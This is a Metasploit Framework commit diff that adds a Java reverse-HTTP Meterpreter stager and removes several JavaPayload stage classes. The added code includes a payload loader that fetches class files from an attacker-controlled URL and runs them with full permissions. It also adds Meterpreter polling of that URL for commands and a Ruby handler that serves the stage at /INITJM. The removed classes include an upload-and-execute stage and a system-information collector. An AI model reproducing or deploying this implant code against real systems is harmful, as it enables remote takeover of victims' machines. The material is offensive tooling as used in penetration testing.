* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.PrintStream;
|
||||
|
||||
public class JShStreamForwarder extends Thread {
|
||||
private final InputStream in;
|
||||
private PrintStream out;
|
||||
private boolean paused = false, finished = false;
|
||||
private final JShSignalSender signalSender;
|
||||
|
||||
public JShStreamForwarder(InputStream in, PrintStream out, JShSignalSender signalSender) {
|
||||
this.in = in;
|
||||
this.out = out;
|
||||
this.signalSender = signalSender;
|
||||
start();
|
||||
}
|
||||
|
||||
public synchronized boolean isFinished() {
|
||||
return finished;
|
||||
}
|
||||
|
||||
public synchronized void pauseForwarding(boolean paused) {
|
||||
this.paused = paused;
|
||||
this.notifyAll();
|
||||
}
|
||||
|
||||
public void run() {
|
||||
try {
|
||||
try {
|
||||
final byte[] buf = new byte[4096];
|
||||
int length;
|
||||
while ((length = in.read(buf)) != -1) {
|
||||
synchronized (this) {
|
||||
while (paused) {
|
||||
wait();
|
||||
}
|
||||
if (out != null) {
|
||||
out.write(buf, 0, length);
|
||||
if (in.available() == 0) {
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
synchronized (this) {
|
||||
finished = true;
|
||||
if (!paused) {
|
||||
signalSender.signal();
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
in.close();
|
||||
}
|
||||
} catch (final Throwable ex) {
|
||||
synchronized (this) {
|
||||
while (paused) {
|
||||
try {
|
||||
wait();
|
||||
} catch (final InterruptedException ex2) {
|
||||
}
|
||||
}
|
||||
if (out != null) {
|
||||
ex.printStackTrace(out);
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public synchronized void stopForwarding() {
|
||||
out = null;
|
||||
}
|
||||
}
|
|
@ -1,53 +0,0 @@
|
|||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public class SendParameters implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
int paramCount = in.readUnsignedShort();
|
||||
String[] params = new String[paramCount+2];
|
||||
params[0] = parameters[0];
|
||||
params[1] = "--";
|
||||
for (int i = 2; i < params.length; i++) {
|
||||
params[i] = in.readUTF();
|
||||
}
|
||||
Stage realStage = (Stage) Class.forName("javapayload.stage."+params[2]).newInstance();
|
||||
realStage.start(in, out, params);
|
||||
}
|
||||
}
|
|
@ -1,92 +0,0 @@
|
|||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStream;
|
||||
import java.io.PrintStream;
|
||||
import java.net.InetAddress;
|
||||
import java.net.NetworkInterface;
|
||||
import java.net.URL;
|
||||
import java.util.Enumeration;
|
||||
|
||||
public class SystemInfo implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
PrintStream pout = new PrintStream(out, true);
|
||||
pout.println("System properties:");
|
||||
pout.println("~~~~~~~~~~~~~~~~~~");
|
||||
for (final Enumeration e = System.getProperties().propertyNames(); e.hasMoreElements(); ) {
|
||||
final String property = (String) e.nextElement();
|
||||
pout.println(property + "=" + System.getProperty(property));
|
||||
}
|
||||
pout.println();
|
||||
pout.println("Local address:");
|
||||
pout.println("~~~~~~~~~~~~~~");
|
||||
InetAddress addr = InetAddress.getLocalHost();
|
||||
pout.println("Name: "+addr.getHostName());
|
||||
pout.println("Canonical Name: "+addr.getCanonicalHostName());
|
||||
pout.println("IP Address: "+addr.getHostAddress());
|
||||
pout.println();
|
||||
pout.println("Network interfaces:");
|
||||
pout.println("~~~~~~~~~~~~~~~~~~~");
|
||||
for(final Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) {
|
||||
NetworkInterface iface = (NetworkInterface) e.nextElement();
|
||||
pout.println(iface.getName());
|
||||
pout.println(" Display Name: "+iface.getDisplayName());
|
||||
for (final Enumeration e2 = iface.getInetAddresses(); e2.hasMoreElements(); ) {
|
||||
InetAddress ifaddr = (InetAddress) e2.nextElement();
|
||||
pout.println(" Address:");
|
||||
pout.println(" Name: "+ifaddr.getHostName());
|
||||
pout.println(" Canonical Name: "+ifaddr.getCanonicalHostName());
|
||||
pout.println(" IP Address: "+ifaddr.getHostAddress());
|
||||
}
|
||||
}
|
||||
pout.println();
|
||||
pout.println("External IP Address:");
|
||||
pout.println("~~~~~~~~~~~~~~~~~~~~");
|
||||
try {
|
||||
BufferedReader br = new BufferedReader(new InputStreamReader(new URL("http://www.ippages.com/simple/").openStream()));
|
||||
pout.println(br.readLine());
|
||||
br.close();
|
||||
} catch (Exception ex) {
|
||||
ex.printStackTrace(pout);
|
||||
}
|
||||
pout.println();
|
||||
pout.close();
|
||||
}
|
||||
}
|
|
@ -1,71 +0,0 @@
|
|||
/*
|
||||
* Java Payloads.
|
||||
*
|
||||
* Copyright (c) 2010, Michael 'mihi' Schierl
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
*
|
||||
* - Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
*
|
||||
* - Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* - Neither name of the copyright holders nor the names of its
|
||||
* contributors may be used to endorse or promote products derived from
|
||||
* this software without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
|
||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
|
||||
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
|
||||
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
|
||||
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
|
||||
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
|
||||
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
|
||||
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
|
||||
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
package javapayload.stage;
|
||||
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.OutputStream;
|
||||
|
||||
public class UpExec implements Stage {
|
||||
|
||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||
final String tempfile = File.createTempFile("~upexec", null).getAbsolutePath();
|
||||
final int length = in.readInt();
|
||||
final byte[] data = new byte[length];
|
||||
in.readFully(data);
|
||||
final FileOutputStream fos = new FileOutputStream(tempfile);
|
||||
fos.write(data);
|
||||
fos.close();
|
||||
for (int i = 0; i < parameters.length; i++) {
|
||||
if (parameters[i].equals("--")) {
|
||||
// separator found. The next parameter will be the module name, and
|
||||
// all remaining parameters are for exec.
|
||||
final String[] cmdarray = new String[parameters.length - i - 2];
|
||||
System.arraycopy(parameters, i + 2, cmdarray, 0, cmdarray.length);
|
||||
cmdarray[0] = tempfile;
|
||||
final Process proc = Runtime.getRuntime().exec(cmdarray);
|
||||
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||
proc.waitFor();
|
||||
in.close();
|
||||
out.close();
|
||||
break;
|
||||
}
|
||||
}
|
||||
new File(tempfile).delete();
|
||||
}
|
||||
}
|
|
@ -33,6 +33,8 @@
|
|||
*/
|
||||
package metasploit;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.File;
|
||||
import java.io.FileNotFoundException;
|
||||
|
@ -165,6 +167,7 @@ public class Payload extends ClassLoader {
|
|||
// check what stager to use (bind/reverse)
|
||||
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
|
||||
String lHost = props.getProperty("LHOST", null);
|
||||
String url = props.getProperty("URL", null);
|
||||
InputStream in;
|
||||
OutputStream out;
|
||||
if (lPort <= 0) {
|
||||
|
@ -172,6 +175,13 @@ public class Payload extends ClassLoader {
|
|||
// best used with embedded stages
|
||||
in = System.in;
|
||||
out = System.out;
|
||||
} else if (url != null) {
|
||||
if (url.startsWith("raw:"))
|
||||
// for debugging: just use raw bytes from property file
|
||||
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
|
||||
else
|
||||
in = new URL(url).openStream();
|
||||
out = new ByteArrayOutputStream();
|
||||
} else {
|
||||
Socket socket;
|
||||
if (lHost != null) {
|
||||
|
@ -193,7 +203,7 @@ public class Payload extends ClassLoader {
|
|||
for (int i = 0; i < stageParams.length; i++) {
|
||||
stageParams[i] = stageParamTokenizer.nextToken();
|
||||
}
|
||||
new Payload().bootstrap(in, out, props.getProperty("EmbeddedStage", null),stageParams);
|
||||
new Payload().bootstrap(in, out, stageParams);
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -208,24 +218,20 @@ public class Payload extends ClassLoader {
|
|||
fos.close();
|
||||
}
|
||||
|
||||
private final void bootstrap(InputStream rawIn, OutputStream out, String embeddedStageName, String[] stageParameters) throws Exception {
|
||||
private final void bootstrap(InputStream rawIn, OutputStream out, String[] stageParameters) throws Exception {
|
||||
try {
|
||||
final DataInputStream in = new DataInputStream(rawIn);
|
||||
Class clazz;
|
||||
final Permissions permissions = new Permissions();
|
||||
permissions.add(new AllPermission());
|
||||
final ProtectionDomain pd = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), permissions);
|
||||
if (embeddedStageName == null) {
|
||||
int length = in.readInt();
|
||||
do {
|
||||
final byte[] classfile = new byte[length];
|
||||
in.readFully(classfile);
|
||||
resolveClass(clazz = defineClass(null, classfile, 0, length, pd));
|
||||
length = in.readInt();
|
||||
} while (length > 0);
|
||||
} else {
|
||||
clazz = Class.forName("javapayload.stage."+embeddedStageName);
|
||||
}
|
||||
int length = in.readInt();
|
||||
do {
|
||||
final byte[] classfile = new byte[length];
|
||||
in.readFully(classfile);
|
||||
resolveClass(clazz = defineClass(null, classfile, 0, length, pd));
|
||||
length = in.readInt();
|
||||
} while (length > 0);
|
||||
final Object stage = clazz.newInstance();
|
||||
clazz.getMethod("start", new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Object[] { in, out, stageParameters });
|
||||
} catch (final Throwable t) {
|
||||
|
|
|
@ -38,8 +38,6 @@
|
|||
<target name="deploy" depends="jar">
|
||||
<copy todir="../../../../data/meterpreter">
|
||||
<fileset dir="extensions">
|
||||
<exclude name="meterpreter.jar" />
|
||||
<exclude name="extensions/ext_server_stdapi.jar" />
|
||||
</fileset>
|
||||
</copy>
|
||||
</target>
|
||||
|
|
35
external/source/meterpreter/java/src/loader/com/metasploit/meterpreter/URLDebugLoader.java
vendored
Normal file
35
external/source/meterpreter/java/src/loader/com/metasploit/meterpreter/URLDebugLoader.java
vendored
Normal file
|
@ -0,0 +1,35 @@
|
|||
package com.metasploit.meterpreter;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.DataInputStream;
|
||||
import java.io.DataOutputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.URL;
|
||||
|
||||
/**
|
||||
* A loader that does not use the provided jars but loads all classes from the current classpath. Useful for debugging with the edit-and-continue feature enabled.
|
||||
*
|
||||
* @author mihi
|
||||
*/
|
||||
public class URLDebugLoader {
|
||||
/**
|
||||
* Main entry point.
|
||||
*/
|
||||
public static void main(String[] args) throws Exception {
|
||||
if (args.length < 2) {
|
||||
System.out.println("Usage: java com.metasploit.meterpreter.URLDebugLoader <LHOST> <LPORT> [<RedirectError>]");
|
||||
return;
|
||||
}
|
||||
URL initURL = new URL("http://" + args[0] + ":" + args[1] + "/INITJM");
|
||||
DataInputStream in = new DataInputStream(initURL.openStream());
|
||||
OutputStream out = new DataOutputStream(new ByteArrayOutputStream());
|
||||
int coreLen = in.readInt();
|
||||
while (coreLen != 0) {
|
||||
in.readFully(new byte[coreLen]);
|
||||
coreLen = in.readInt();
|
||||
}
|
||||
coreLen = in.readInt();
|
||||
in.readFully(new byte[coreLen]);
|
||||
new com.metasploit.meterpreter.Meterpreter(in, out, false, args.length == 3);
|
||||
}
|
||||
}
|
|
@ -10,6 +10,7 @@ import java.io.OutputStream;
|
|||
import java.io.PrintStream;
|
||||
import java.net.URL;
|
||||
import java.net.URLClassLoader;
|
||||
import java.net.URLConnection;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Iterator;
|
||||
import java.util.List;
|
||||
|
@ -36,6 +37,7 @@ public class Meterpreter {
|
|||
private final ByteArrayOutputStream errBuffer;
|
||||
private final PrintStream err;
|
||||
private final boolean loadExtensions;
|
||||
private List/* <byte[]> */tlvQueue = null;
|
||||
|
||||
/**
|
||||
* Initialize the meterpreter.
|
||||
|
@ -69,7 +71,9 @@ public class Meterpreter {
|
|||
if (ptype != PACKET_TYPE_REQUEST)
|
||||
throw new IOException("Invalid packet type: " + ptype);
|
||||
TLVPacket request = new TLVPacket(in, len - 8);
|
||||
writeTLV(PACKET_TYPE_RESPONSE, executeCommand(request));
|
||||
TLVPacket response = executeCommand(request);
|
||||
if (response != null)
|
||||
writeTLV(PACKET_TYPE_RESPONSE, response);
|
||||
}
|
||||
} catch (EOFException ex) {
|
||||
}
|
||||
|
@ -91,8 +95,17 @@ public class Meterpreter {
|
|||
* @param packet
|
||||
* The packet to send
|
||||
*/
|
||||
private void writeTLV(int type, TLVPacket packet) throws IOException {
|
||||
private synchronized void writeTLV(int type, TLVPacket packet) throws IOException {
|
||||
byte[] data = packet.toByteArray();
|
||||
if (tlvQueue != null) {
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
DataOutputStream dos = new DataOutputStream(baos);
|
||||
dos.writeInt(data.length + 8);
|
||||
dos.writeInt(type);
|
||||
dos.write(data);
|
||||
tlvQueue.add(baos.toByteArray());
|
||||
return;
|
||||
}
|
||||
synchronized (out) {
|
||||
out.writeInt(data.length + 8);
|
||||
out.writeInt(type);
|
||||
|
@ -111,6 +124,15 @@ public class Meterpreter {
|
|||
private TLVPacket executeCommand(TLVPacket request) throws IOException {
|
||||
TLVPacket response = new TLVPacket();
|
||||
String method = request.getStringValue(TLVType.TLV_TYPE_METHOD);
|
||||
if (method.equals("core_switch_url")) {
|
||||
String url = request.getStringValue(TLVType.TLV_TYPE_STRING);
|
||||
int sessionExpirationTimeout = request.getIntValue(TLVType.TLV_TYPE_UINT);
|
||||
int sessionCommunicationTimeout = request.getIntValue(TLVType.TLV_TYPE_LENGTH);
|
||||
pollURL(new URL(url), sessionExpirationTimeout, sessionCommunicationTimeout);
|
||||
return null;
|
||||
} else if (method.equals("core_shutdown")) {
|
||||
return null;
|
||||
}
|
||||
response.add(TLVType.TLV_TYPE_METHOD, method);
|
||||
response.add(TLVType.TLV_TYPE_REQUEST_ID, request.getStringValue(TLVType.TLV_TYPE_REQUEST_ID));
|
||||
Command cmd = commandManager.getCommand(method);
|
||||
|
@ -124,6 +146,72 @@ public class Meterpreter {
|
|||
response.add(TLVType.TLV_TYPE_RESULT, result);
|
||||
return response;
|
||||
}
|
||||
|
||||
/**
|
||||
* Poll from a given URL until a shutdown request is received.
|
||||
* @param url
|
||||
*/
|
||||
private void pollURL(URL url, int sessionExpirationTimeout, int sessionCommunicationTimeout) throws IOException {
|
||||
synchronized (this) {
|
||||
tlvQueue = new ArrayList();
|
||||
}
|
||||
long deadline = System.currentTimeMillis() + sessionExpirationTimeout * 1000L;
|
||||
long commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||
final byte[] RECV = "RECV".getBytes("ISO-8859-1");
|
||||
while (System.currentTimeMillis() < Math.min(commDeadline, deadline)) {
|
||||
byte[] outPacket = null;
|
||||
synchronized (this) {
|
||||
if (tlvQueue.size() > 0)
|
||||
outPacket = (byte[]) tlvQueue.remove(0);
|
||||
}
|
||||
TLVPacket request = null;
|
||||
try {
|
||||
URLConnection uc = url.openConnection();
|
||||
uc.setDoOutput(true);
|
||||
OutputStream out = uc.getOutputStream();
|
||||
out.write(outPacket == null ? RECV : outPacket);
|
||||
out.close();
|
||||
DataInputStream in = new DataInputStream(uc.getInputStream());
|
||||
int len;
|
||||
try {
|
||||
len = in.readInt();
|
||||
} catch (EOFException ex) {
|
||||
len = -1;
|
||||
}
|
||||
if (len != -1) {
|
||||
int ptype = in.readInt();
|
||||
if (ptype != PACKET_TYPE_REQUEST)
|
||||
throw new RuntimeException("Invalid packet type: " + ptype);
|
||||
request = new TLVPacket(in, len - 8);
|
||||
}
|
||||
in.close();
|
||||
commDeadline = System.currentTimeMillis() + sessionCommunicationTimeout * 1000L;
|
||||
} catch (IOException ex) {
|
||||
ex.printStackTrace(getErrorStream());
|
||||
// URL not reachable
|
||||
if (outPacket != null) {
|
||||
synchronized (this) {
|
||||
tlvQueue.add(0, outPacket);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (request != null) {
|
||||
TLVPacket response = executeCommand(request);
|
||||
if (response == null)
|
||||
break;
|
||||
writeTLV(PACKET_TYPE_RESPONSE, response);
|
||||
} else if (outPacket == null) {
|
||||
try {
|
||||
Thread.sleep(5000);
|
||||
} catch (InterruptedException ex) {
|
||||
// ignore
|
||||
}
|
||||
}
|
||||
}
|
||||
synchronized (this) {
|
||||
tlvQueue = new ArrayList();
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the command manager, used to register or lookup commands.
|
||||
|
|
|
@ -124,7 +124,40 @@ protected
|
|||
|
||||
# Process the requested resource.
|
||||
case req.relative_resource
|
||||
when /^\/INITJM/
|
||||
$stdout.puts("java: #{req.relative_resource}")
|
||||
|
||||
conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = "http://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00"
|
||||
$stdout.puts "URL: #{url.inspect}"
|
||||
|
||||
blob = ""
|
||||
blob << obj.generate_stage
|
||||
|
||||
# This is a TLV packet - I guess somewhere there should be API for building them
|
||||
# in Metasploit :-)
|
||||
packet = ""
|
||||
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
|
||||
packet << [url.length+8, 0x1000a].pack('NN')+url
|
||||
packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN')
|
||||
packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN')
|
||||
blob << [packet.length+8, 0].pack('NN') + packet
|
||||
|
||||
resp.body = blob
|
||||
conn_ids << conn_id
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => obj.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:ssl => false
|
||||
})
|
||||
|
||||
when /^\/A?INITM?/
|
||||
$stdout.puts("Win32: #{req.relative_resource}")
|
||||
|
||||
url = ''
|
||||
|
||||
|
@ -180,6 +213,7 @@ protected
|
|||
when /^\/(CONN_.*)\//
|
||||
resp.body = ""
|
||||
conn_id = $1
|
||||
$stdout.puts("Received poll from #{conn_id}")
|
||||
|
||||
if not self.conn_ids.include?(conn_id)
|
||||
print_status("Incoming orphaned session #{conn_id}, reattaching...")
|
||||
|
|
|
@ -32,6 +32,7 @@ module Metasploit3
|
|||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::BindTcp,
|
||||
'Convention' => 'javasocket',
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
|
|
|
@ -0,0 +1,65 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Java
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Java Reverse HTTP Stager',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'Tunnel communication over HTTP',
|
||||
'Author' => [
|
||||
'mihi', # all the hard work
|
||||
'egypt', # msf integration
|
||||
'hdm', # windows/reverse_http
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'javaurl',
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
|
||||
], self.class
|
||||
)
|
||||
|
||||
@class_files = [ ]
|
||||
end
|
||||
|
||||
def config
|
||||
spawn = datastore["Spawn"] || 2
|
||||
c = ""
|
||||
c << "Spawn=#{spawn}\n"
|
||||
c << "URL=http://#{datastore["LHOST"]}"
|
||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||
c << "/INITJM\n"
|
||||
|
||||
c
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
end
|
||||
|
|
@ -32,6 +32,7 @@ module Metasploit3
|
|||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Handler' => Msf::Handler::ReverseTcp,
|
||||
'Convention' => 'javasocket',
|
||||
'Stager' => {'Payload' => ""}
|
||||
))
|
||||
|
||||
|
|
|
@ -33,6 +33,10 @@ module Metasploit3
|
|||
],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'javasocket javaurl',
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::Meterpreter_Java_Java))
|
||||
# Order matters. Classes can only reference classes that have already
|
||||
|
|
|
@ -34,6 +34,10 @@ module Metasploit3
|
|||
],
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'PayloadCompat' =>
|
||||
{
|
||||
'Convention' => 'javasocket',
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Session' => Msf::Sessions::CommandShell))
|
||||
|
||||
|
@ -43,7 +47,6 @@ module Metasploit3
|
|||
@stage_class_files = [
|
||||
[ "javapayload", "stage", "Stage.class" ],
|
||||
[ "javapayload", "stage", "StreamForwarder.class" ],
|
||||
[ "javapayload", "stage", "Exec.class" ],
|
||||
[ "javapayload", "stage", "Shell.class" ],
|
||||
]
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue